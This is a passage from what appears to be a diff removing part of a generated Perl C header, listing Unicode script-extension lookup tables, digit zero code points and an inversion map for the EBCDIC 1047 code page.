SCX_use_AUX_TABLE_10 = -10, - SCX_use_AUX_TABLE_11 = -11, - SCX_use_AUX_TABLE_12 = -12, - SCX_use_AUX_TABLE_13 = -13, - SCX_use_AUX_TABLE_14 = -14, - SCX_use_AUX_TABLE_15 = -15, - SCX_use_AUX_TABLE_16 = -16, - SCX_use_AUX_TABLE_17 = -17, - SCX_use_AUX_TABLE_18 = -18, - SCX_use_AUX_TABLE_19 = -19, - SCX_use_AUX_TABLE_20 = -20, - SCX_use_AUX_TABLE_21 = -21, - SCX_use_AUX_TABLE_22 = -22, - SCX_use_AUX_TABLE_23 = -23, - SCX_use_AUX_TABLE_24 = -24, - SCX_use_AUX_TABLE_25 = -25, - SCX_use_AUX_TABLE_26 = -26, - SCX_use_AUX_TABLE_27 = -27, - SCX_use_AUX_TABLE_28 = -28, - SCX_use_AUX_TABLE_29 = -29, - SCX_use_AUX_TABLE_30 = -30, - SCX_use_AUX_TABLE_31 = -31, - SCX_use_AUX_TABLE_32 = -32, - SCX_use_AUX_TABLE_33 = -33, - SCX_use_AUX_TABLE_34 = -34, - SCX_use_AUX_TABLE_35 = -35, - SCX_use_AUX_TABLE_36 = -36, - SCX_use_AUX_TABLE_37 = -37, - SCX_use_AUX_TABLE_38 = -38, - SCX_use_AUX_TABLE_39 = -39, - SCX_use_AUX_TABLE_40 = -40, - SCX_use_AUX_TABLE_41 = -41, - SCX_use_AUX_TABLE_42 = -42, - SCX_use_AUX_TABLE_43 = -43, - SCX_use_AUX_TABLE_44 = -44, - SCX_use_AUX_TABLE_45 = -45 -} SCX_enum; - -# endif /* EBCDIC 1047 */ - -#if defined(PERL_IN_REGEXEC_C) - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -#define HAS_SCX_AUX_TABLES - -static const SCX_enum SCX_AUX_TABLE_1[] = { - SCX_Bopomofo, - SCX_Hanb -}; - -static const SCX_enum SCX_AUX_TABLE_2[] = { - SCX_Cyrillic, - SCX_Old_Permic -}; - -static const SCX_enum SCX_AUX_TABLE_3[] = { - SCX_Cyrillic, - SCX_Glagolitic -}; - -static const SCX_enum SCX_AUX_TABLE_4[] = { - SCX_Cyrillic, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_5[] = { - SCX_Armenian, - SCX_Georgian -}; - -static const SCX_enum SCX_AUX_TABLE_6[] = { - SCX_Arabic, - SCX_Syriac, - SCX_Thaana -}; - -static const SCX_enum SCX_AUX_TABLE_7[] = { - SCX_Adlam, - SCX_Arabic, - SCX_Mandaic, - SCX_Manichaean, - SCX_Psalter_Pahlavi, - SCX_Syriac -}; - -static const SCX_enum SCX_AUX_TABLE_8[] = { - SCX_Arabic, - SCX_Syriac -}; - -static const SCX_enum SCX_AUX_TABLE_9[] = { - SCX_Arabic, - SCX_Thaana -}; - -static const SCX_enum SCX_AUX_TABLE_10[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Latin, - SCX_Malayalam, - SCX_Oriya, - SCX_Sharada, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_11[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Latin, - SCX_Malayalam, - SCX_Oriya, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_12[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Malayalam, - SCX_Oriya, - SCX_Sinhala, - SCX_Syloti_Nagri, - SCX_Takri, - SCX_Tamil, - SCX_Telugu, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_13[] = { - SCX_Bengali, - SCX_Devanagari, - SCX_Grantha, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Limbu, - SCX_Mahajani, - SCX_Malayalam, - SCX_Oriya, - SCX_Sinhala, - SCX_Syloti_Nagri, - SCX_Takri, - SCX_Tamil, - SCX_Telugu, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_14[] = { - SCX_Devanagari, - SCX_Kaithi, - SCX_Mahajani -}; - -static const SCX_enum SCX_AUX_TABLE_15[] = { - SCX_Bengali, - SCX_Chakma, - SCX_Syloti_Nagri -}; - -static const SCX_enum SCX_AUX_TABLE_16[] = { - SCX_Gurmukhi, - SCX_Multani -}; - -static const SCX_enum SCX_AUX_TABLE_17[] = { - SCX_Gujarati, - SCX_Khojki -}; - -static const SCX_enum SCX_AUX_TABLE_18[] = { - SCX_Grantha, - SCX_Tamil -}; - -static const SCX_enum SCX_AUX_TABLE_19[] = { - SCX_Chakma, - SCX_Myanmar, - SCX_Tai_Le -}; - -static const SCX_enum SCX_AUX_TABLE_20[] = { - SCX_Georgian, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_21[] = { - SCX_Hangul, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_22[] = { - SCX_Buhid, - SCX_Hanunoo, - SCX_Tagalog, - SCX_Tagbanwa -}; - -static const SCX_enum SCX_AUX_TABLE_23[] = { - SCX_Mongolian, - SCX_Phags_Pa -}; - -static const SCX_enum SCX_AUX_TABLE_24[] = { - SCX_Devanagari, - SCX_Grantha -}; - -static const SCX_enum SCX_AUX_TABLE_25[] = { - SCX_Devanagari, - SCX_Sharada -}; - -static const SCX_enum SCX_AUX_TABLE_26[] = { - SCX_Devanagari, - SCX_Kannada, - SCX_Malayalam, - SCX_Tamil, - SCX_Telugu -}; - -static const SCX_enum SCX_AUX_TABLE_27[] = { - SCX_Devanagari, - SCX_Kannada -}; - -static const SCX_enum SCX_AUX_TABLE_28[] = { - SCX_Devanagari, - SCX_Grantha, - SCX_Latin -}; - -static const SCX_enum SCX_AUX_TABLE_29[] = { - SCX_Han, - SCX_Hanb, - SCX_Jpan, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_30[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Hangul, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore, - SCX_Yi -}; - -static const SCX_enum SCX_AUX_TABLE_31[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Hangul, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_32[] = { - SCX_Bopomofo, - SCX_Han, - SCX_Hanb, - SCX_Jpan, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_33[] = { - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana -}; - -static const SCX_enum SCX_AUX_TABLE_34[] = { - SCX_Han, - SCX_Hanb, - SCX_Hiragana, - SCX_Jpan, - SCX_Katakana, - SCX_Kore -}; - -static const SCX_enum SCX_AUX_TABLE_35[] = { - SCX_Hiragana, - SCX_Jpan -}; - -static const SCX_enum SCX_AUX_TABLE_36[] = { - SCX_Jpan, - SCX_Katakana -}; - -static const SCX_enum SCX_AUX_TABLE_37[] = { - SCX_Devanagari, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kaithi, - SCX_Kannada, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Modi, - SCX_Takri, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_38[] = { - SCX_Devanagari, - SCX_Gujarati, - SCX_Gurmukhi, - SCX_Kaithi, - SCX_Khudawadi, - SCX_Mahajani, - SCX_Modi, - SCX_Takri, - SCX_Tirhuta -}; - -static const SCX_enum SCX_AUX_TABLE_39[] = { - SCX_Bengali, - SCX_Devanagari -}; - -static const SCX_enum SCX_AUX_TABLE_40[] = { - SCX_Devanagari, - SCX_Tamil -}; - -static const SCX_enum SCX_AUX_TABLE_41[] = { - SCX_Kayah_Li, - SCX_Latin, - SCX_Myanmar -}; - -static const SCX_enum SCX_AUX_TABLE_42[] = { - SCX_Buginese, - SCX_Javanese -}; - -static const SCX_enum SCX_AUX_TABLE_43[] = { - SCX_Cypriot, - SCX_Linear_B -}; - -static const SCX_enum SCX_AUX_TABLE_44[] = { - SCX_Cypriot, - SCX_Linear_A, - SCX_Linear_B -}; - -static const SCX_enum SCX_AUX_TABLE_45[] = { - SCX_Arabic, - SCX_Coptic -}; - -static const SCX_enum * const SCX_AUX_TABLE_ptrs[] = { - NULL, /* Placeholder */ - SCX_AUX_TABLE_1, - SCX_AUX_TABLE_2, - SCX_AUX_TABLE_3, - SCX_AUX_TABLE_4, - SCX_AUX_TABLE_5, - SCX_AUX_TABLE_6, - SCX_AUX_TABLE_7, - SCX_AUX_TABLE_8, - SCX_AUX_TABLE_9, - SCX_AUX_TABLE_10, - SCX_AUX_TABLE_11, - SCX_AUX_TABLE_12, - SCX_AUX_TABLE_13, - SCX_AUX_TABLE_14, - SCX_AUX_TABLE_15, - SCX_AUX_TABLE_16, - SCX_AUX_TABLE_17, - SCX_AUX_TABLE_18, - SCX_AUX_TABLE_19, - SCX_AUX_TABLE_20, - SCX_AUX_TABLE_21, - SCX_AUX_TABLE_22, - SCX_AUX_TABLE_23, - SCX_AUX_TABLE_24, - SCX_AUX_TABLE_25, - SCX_AUX_TABLE_26, - SCX_AUX_TABLE_27, - SCX_AUX_TABLE_28, - SCX_AUX_TABLE_29, - SCX_AUX_TABLE_30, - SCX_AUX_TABLE_31, - SCX_AUX_TABLE_32, - SCX_AUX_TABLE_33, - SCX_AUX_TABLE_34, - SCX_AUX_TABLE_35, - SCX_AUX_TABLE_36, - SCX_AUX_TABLE_37, - SCX_AUX_TABLE_38, - SCX_AUX_TABLE_39, - SCX_AUX_TABLE_40, - SCX_AUX_TABLE_41, - SCX_AUX_TABLE_42, - SCX_AUX_TABLE_43, - SCX_AUX_TABLE_44, - SCX_AUX_TABLE_45 -}; - -/* Parallel table to the above, giving the number of elements in each table - * pointed to */ -static const U8 SCX_AUX_TABLE_lengths[] = { - 0, /* Placeholder */ - 2 /* SCX_AUX_TABLE_1 */, - 2 /* SCX_AUX_TABLE_2 */, - 2 /* SCX_AUX_TABLE_3 */, - 2 /* SCX_AUX_TABLE_4 */, - 2 /* SCX_AUX_TABLE_5 */, - 3 /* SCX_AUX_TABLE_6 */, - 6 /* SCX_AUX_TABLE_7 */, - 2 /* SCX_AUX_TABLE_8 */, - 2 /* SCX_AUX_TABLE_9 */, - 12 /* SCX_AUX_TABLE_10 */, - 11 /* SCX_AUX_TABLE_11 */, - 16 /* SCX_AUX_TABLE_12 */, - 17 /* SCX_AUX_TABLE_13 */, - 3 /* SCX_AUX_TABLE_14 */, - 3 /* SCX_AUX_TABLE_15 */, - 2 /* SCX_AUX_TABLE_16 */, - 2 /* SCX_AUX_TABLE_17 */, - 2 /* SCX_AUX_TABLE_18 */, - 3 /* SCX_AUX_TABLE_19 */, - 2 /* SCX_AUX_TABLE_20 */, - 2 /* SCX_AUX_TABLE_21 */, - 4 /* SCX_AUX_TABLE_22 */, - 2 /* SCX_AUX_TABLE_23 */, - 2 /* SCX_AUX_TABLE_24 */, - 2 /* SCX_AUX_TABLE_25 */, - 5 /* SCX_AUX_TABLE_26 */, - 2 /* SCX_AUX_TABLE_27 */, - 3 /* SCX_AUX_TABLE_28 */, - 4 /* SCX_AUX_TABLE_29 */, - 9 /* SCX_AUX_TABLE_30 */, - 8 /* SCX_AUX_TABLE_31 */, - 5 /* SCX_AUX_TABLE_32 */, - 3 /* SCX_AUX_TABLE_33 */, - 6 /* SCX_AUX_TABLE_34 */, - 2 /* SCX_AUX_TABLE_35 */, - 2 /* SCX_AUX_TABLE_36 */, - 10 /* SCX_AUX_TABLE_37 */, - 9 /* SCX_AUX_TABLE_38 */, - 2 /* SCX_AUX_TABLE_39 */, - 2 /* SCX_AUX_TABLE_40 */, - 3 /* SCX_AUX_TABLE_41 */, - 2 /* SCX_AUX_TABLE_42 */, - 2 /* SCX_AUX_TABLE_43 */, - 3 /* SCX_AUX_TABLE_44 */, - 2 /* SCX_AUX_TABLE_45 */ -}; - -/* This table, indexed by the script enum, gives the zero code point for that - * script; 0 if the script has multiple digit sequences. Scripts without a - * digit sequence use ASCII [0-9], hence are marked '0' */ -static const UV script_zeros[] = { - '0', /* Unknown */ - 0x1e950, /* Adlam */ - 0x11730, /* Ahom */ - '0', /* Anatolian_Hieroglyphs */ - 0, /* Arabic */ - '0', /* Armenian */ - '0', /* Avestan */ - 0x1b50, /* Balinese */ - '0', /* Bamum */ - '0', /* Bassa_Vah */ - '0', /* Batak */ - 0x9e6, /* Bengali */ - 0x11c50, /* Bhaiksuki */ - '0', /* Bopomofo */ - 0x11066, /* Brahmi */ - '0', /* Braille */ - '0', /* Buginese */ - '0', /* Buhid */ - '0', /* Canadian_Aboriginal */ - '0', /* Carian */ - '0', /* Caucasian_Albanian */ - 0, /* Chakma */ - 0xaa50, /* Cham */ - '0', /* Cherokee */ - 0, /* Common */ - '0', /* Coptic */ - '0', /* Cuneiform */ - '0', /* Cypriot */ - '0', /* Cyrillic */ - '0', /* Deseret */ - 0x966, /* Devanagari */ - '0', /* Duployan */ - '0', /* Egyptian_Hieroglyphs */ - '0', /* Elbasan */ - '0', /* Ethiopic */ - '0', /* Georgian */ - '0', /* Glagolitic */ - '0', /* Gothic */ - 0xbe6, /* Grantha */ - '0', /* Greek */ - 0xae6, /* Gujarati */ - 0xa66, /* Gurmukhi */ - '0', /* Han */ - '0', /* Hanb */ - '0', /* Hangul */ - '0', /* Hanunoo */ - '0', /* Hatran */ - '0', /* Hebrew */ - '0', /* Hiragana */ - '0', /* Imperial_Aramaic */ - 0, /* Inherited */ - '0', /* Inscriptional_Pahlavi */ - '0', /* Inscriptional_Parthian */ - 0xa9d0, /* Javanese */ - '0', /* Jpan */ - 0x966, /* Kaithi */ - 0xce6, /* Kannada */ - '0', /* Katakana */ - 0xa900, /* Kayah_Li */ - '0', /* Kharoshthi */ - 0x17e0, /* Khmer */ - 0xae6, /* Khojki */ - 0x112f0, /* Khudawadi */ - '0', /* Kore */ - 0xed0, /* Lao */ - '0', /* Latin */ - 0x1c40, /* Lepcha */ - 0x1946, /* Limbu */ - '0', /* Linear_A */ - '0', /* Linear_B */ - '0', /* Lisu */ - '0', /* Lycian */ - '0', /* Lydian */ - 0x966, /* Mahajani */ - 0xd66, /* Malayalam */ - '0', /* Mandaic */ - '0', /* Manichaean */ - '0', /* Marchen */ - 0x11d50, /* Masaram_Gondi */ - 0xabf0, /* Meetei_Mayek */ - '0', /* Mende_Kikakui */ - '0', /* Meroitic_Cursive */ - '0', /* Meroitic_Hieroglyphs */ - '0', /* Miao */ - 0x11650, /* Modi */ - 0x1810, /* Mongolian */ - 0x16a60, /* Mro */ - 0xa66, /* Multani */ - 0, /* Myanmar */ - '0', /* Nabataean */ - 0x19d0, /* New_Tai_Lue */ - 0x11450, /* Newa */ - 0x7c0, /* Nko */ - '0', /* Nushu */ - '0', /* Ogham */ - 0x1c50, /* Ol_Chiki */ - '0', /* Old_Hungarian */ - '0', /* Old_Italic */ - '0', /* Old_North_Arabian */ - '0', /* Old_Permic */ - '0', /* Old_Persian */ - '0', /* Old_South_Arabian */ - '0', /* Old_Turkic */ - 0xb66, /* Oriya */ - '0', /* Osage */ - 0x104a0, /* Osmanya */ - 0x16b50, /* Pahawh_Hmong */ - '0', /* Palmyrene */ - '0', /* Pau_Cin_Hau */ - '0', /* Phags_Pa */ - '0', /* Phoenician */ - '0', /* Psalter_Pahlavi */ - '0', /* Rejang */ - '0', /* Runic */ - '0', /* Samaritan */ - 0xa8d0, /* Saurashtra */ - 0x111d0, /* Sharada */ - '0', /* Shavian */ - '0', /* Siddham */ - '0', /* SignWriting */ - 0xde6, /* Sinhala */ - 0x110f0, /* Sora_Sompeng */ - '0', /* Soyombo */ - 0x1bb0, /* Sundanese */ - 0x9e6, /* Syloti_Nagri */ - '0', /* Syriac */ - '0', /* Tagalog */ - '0', /* Tagbanwa */ - 0x1040, /* Tai_Le */ - 0, /* Tai_Tham */ - '0', /* Tai_Viet */ - 0x116c0, /* Takri */ - 0xbe6, /* Tamil */ - '0', /* Tangut */ - 0xc66, /* Telugu */ - 0x660, /* Thaana */ - 0xe50, /* Thai */ - 0xf20, /* Tibetan */ - '0', /* Tifinagh */ - 0x114d0, /* Tirhuta */ - '0', /* Ugaritic */ - 0xa620, /* Vai */ - 0x118e0 /* Warang_Citi */ -}; - -static const SCX_enum _Perl_SCX_invmap[] = { /* for EBCDIC 1047 */ - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_Latin, - SCX_Common, - SCX_use_AUX_TABLE_1, - SCX_Common, - SCX_Inherited, - SCX_Greek, - SCX_Inherited, - SCX_Greek, - SCX_Inherited, - SCX_Latin, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Common, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Unknown, - SCX_Greek, - SCX_Coptic, - SCX_Greek, - SCX_Cyrillic, - SCX_use_AUX_TABLE_2, - SCX_use_AUX_TABLE_3, - SCX_use_AUX_TABLE_4, - SCX_use_AUX_TABLE_3, - SCX_Cyrillic, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_use_AUX_TABLE_5, - SCX_Armenian, - SCX_Unknown, - SCX_Armenian, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Hebrew, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Unknown, - SCX_Arabic, - SCX_use_AUX_TABLE_6, - SCX_Arabic, - SCX_use_AUX_TABLE_7, - SCX_Arabic, - SCX_use_AUX_TABLE_8, - SCX_Arabic, - SCX_use_AUX_TABLE_9, - SCX_Arabic, - SCX_use_AUX_TABLE_8, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_Syriac, - SCX_Unknown, - SCX_Syriac, - SCX_Unknown, - SCX_Syriac, - SCX_Arabic, - SCX_Thaana, - SCX_Unknown, - SCX_Nko, - SCX_Unknown, - SCX_Samaritan, - SCX_Unknown, - SCX_Samaritan, - SCX_Unknown, - SCX_Mandaic, - SCX_Unknown, - SCX_Mandaic, - SCX_Unknown, - SCX_Syriac, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Unknown, - SCX_Arabic, - SCX_Common, - SCX_Arabic, - SCX_Devanagari, - SCX_use_AUX_TABLE_10, - SCX_use_AUX_TABLE_11, - SCX_Devanagari, - SCX_use_AUX_TABLE_12, - SCX_use_AUX_TABLE_13, - SCX_use_AUX_TABLE_14, - SCX_Devanagari, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_Bengali, - SCX_Unknown, - SCX_use_AUX_TABLE_15, - SCX_Bengali, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gurmukhi, - SCX_Unknown, - SCX_use_AUX_TABLE_16, - SCX_Gurmukhi, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_use_AUX_TABLE_17, - SCX_Gujarati, - SCX_Unknown, - SCX_Gujarati, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Oriya, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_use_AUX_TABLE_18, - SCX_Unknown, - SCX_Tamil, - SCX_use_AUX_TABLE_18, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_Tamil, - SCX_Unknown, - SCX_use_AUX_TABLE_18, - SCX_Tamil, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Unknown, - SCX_Telugu, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Kannada, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Malayalam, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Sinhala, - SCX_Unknown, - SCX_Thai, - SCX_Unknown, - SCX_Common, - SCX_Thai, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Lao, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Unknown, - SCX_Tibetan, - SCX_Common, - SCX_Tibetan, - SCX_Unknown, - SCX_Myanmar, - SCX_use_AUX_TABLE_19, - SCX_Myanmar, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_Unknown, - SCX_Georgian, - SCX_use_AUX_TABLE_20, - SCX_Georgian, - SCX_use_AUX_TABLE_21, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Ethiopic, - SCX_Unknown, - SCX_Cherokee, - SCX_Unknown, - SCX_Cherokee, - SCX_Unknown, - SCX_Canadian_Aboriginal, - SCX_Ogham, - SCX_Unknown, - SCX_Runic, - SCX_Common, - SCX_Runic, - SCX_Unknown, - SCX_Tagalog, - SCX_Unknown, - SCX_Tagalog, - SCX_Unknown, - SCX_Hanunoo, - SCX_use_AUX_TABLE_22, - SCX_Unknown, - SCX_Buhid, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Tagbanwa, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Khmer, - SCX_Unknown, - SCX_Mongolian, - SCX_use_AUX_TABLE_23, - SCX_Mongolian, - SCX_use_AUX_TABLE_23, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Mongolian, - SCX_Unknown, - SCX_Canadian_Aboriginal, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Unknown, - SCX_Limbu, - SCX_Tai_Le, - SCX_Unknown, - SCX_Tai_Le, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Unknown, - SCX_New_Tai_Lue, - SCX_Khmer, - SCX_Buginese, - SCX_Unknown, - SCX_Buginese, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Tai_Tham, - SCX_Unknown, - SCX_Inherited, - SCX_Unknown, - SCX_Balinese, - SCX_Unknown, - SCX_Balinese, - SCX_Unknown, - SCX_Sundanese, - SCX_Batak, - SCX_Unknown, - SCX_Batak, - SCX_Lepcha, - SCX_Unknown, - SCX_Lepcha, - SCX_Unknown, - SCX_Lepcha, - SCX_Ol_Chiki, - SCX_Cyrillic, - SCX_Unknown, - SCX_Sundanese, - SCX_Unknown, - SCX_use_AUX_TABLE_24, - SCX_Devanagari, - SCX_use_AUX_TABLE_24, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - SCX_Devanagari, - SCX_use_AUX_TABLE_25, - 